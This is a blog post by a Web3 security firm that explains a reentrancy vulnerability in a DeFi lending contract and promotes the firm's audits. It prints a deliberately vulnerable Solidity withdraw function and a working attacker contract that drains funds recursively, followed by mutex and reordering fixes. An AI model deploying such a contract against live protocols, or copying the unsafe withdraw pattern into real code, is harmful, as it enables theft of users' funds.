Analyzing a Major Web3 Vulnerability and Its Resolution

Securr
3 min readJun 19, 2024

--

The landscape of Web3, with its decentralized ethos, has brought revolutionary changes to the internet, enabling trustless interactions and tokenized ecosystems. However, the complex interplay of cryptography, smart contracts, and decentralized applications (dApps) has also introduced novel vulnerabilities. In this case study, we delve into a significant Web3 vulnerability that emerged in a prominent DeFi platform, exploring its technical underpinnings, exploitation, and subsequent resolution.

The Vulnerability: Reentrancy Attack in DeFi Protocol

Reentrancy attacks have been a recurrent threat in the Web3 domain. A notable incident occurred in a leading DeFi protocol that offered lending and borrowing services. The vulnerability stemmed from improper handling of state changes and external calls within smart contracts.

Technical Background:

- Smart Contracts: Autonomous programs running on blockchain networks, executed by the EVM (Ethereum Virtual Machine) in Ethereum’s case.

- Reentrancy Attack: Occurs when an external contract calls back into the calling contract before the previous invocation is complete, potentially manipulating the state.

Vulnerable Contract Function:

```solidity

function withdraw(uint _amount) public {

require(balances[msg.sender] >= _amount, “Insufficient balance”);

(bool success, ) = msg.sender.call{value: _amount}(“”);

require(success, “Transfer failed”);

balances[msg.sender] -= _amount;

}

```

In this function, the contract:

1. Checks if the sender has a sufficient balance.

2. Sends the specified amount to the sender.

3. Updates the sender’s balance.

The critical issue lies between steps 2 and 3. The external call `msg.sender.call` can trigger a fallback function in an untrusted contract, which can then recursively call `withdraw` before the balance update.

Exploitation: Step-by-Step Analysis

1. Initial Call: The attacker initiates a `withdraw` call with a specified amount.

2. Fallback Function: The attacker’s contract has a fallback function that gets triggered upon receiving Ether, immediately calling `withdraw` again.

3. Reentrancy: The second `withdraw` call is processed before the balance of the first call is updated, allowing the attacker to withdraw more funds than they possess.

4. Drain Funds: By repeatedly triggering the fallback, the attacker can deplete the contract’s balance.

The Attack in Action

The attacker leveraged the following malicious contract:

```solidity

contract Malicious {

DeFiProtocol target;

uint amount;

constructor(address _targetAddress) {

target = DeFiProtocol(_targetAddress);

}

function attack(uint _amount) public payable {

amount = _amount;

target.withdraw(amount);

}

fallback() external payable {

if (address(target).balance >= amount) {

target.withdraw(amount);

}

}

}

```

- The `attack` function initiates the exploit.

- The `fallback` function ensures the recursive calls continue until the target contract is drained.

Detection and Resolution

The attack was swiftly detected due to abnormal fund outflows. The following measures were implemented to mitigate the vulnerability:

1. Mutex Lock: Ensuring that no reentrant calls can execute concurrently.

```solidity

bool private locked;

modifier noReentrancy() {

require(!locked, “Reentrant call”);

locked = true;

_;

locked = false;

}

```

2. Updated Withdraw Function:

```solidity

function withdraw(uint _amount) public noReentrancy {

require(balances[msg.sender] >= _amount, “Insufficient balance”);

balances[msg.sender] -= _amount;

(bool success, ) = msg.sender.call{value: _amount}(“”);

require(success, “Transfer failed”);

}

```

3. Audit and Code Review: Comprehensive audits and peer reviews of smart contracts became mandatory.

Get yourself audited today-https://securr.tech/auditing

4. Insurance Fund: Establishing an insurance fund to compensate users affected by such exploits.

Conclusion

The reentrancy attack on the DeFi protocol underscores the critical importance of secure smart contract development practices. By adhering to security best practices such as using mutex locks, updating state before external calls, and thorough auditing, the Web3 community can mitigate such risks. This incident serves as a stark reminder of the nascent and evolving nature of decentralized technologies, where vigilance and proactive security measures are paramount.

Securr’s X profile- https://x.com/Securrtech
Securr’s Website- https://securr.tech
Securr’s Bug Bounty -https://securr.tech/bug-bounty

--

--

Securr

Pioneering Web3 Bug Bounty Platform - Your Gateway to Solid Security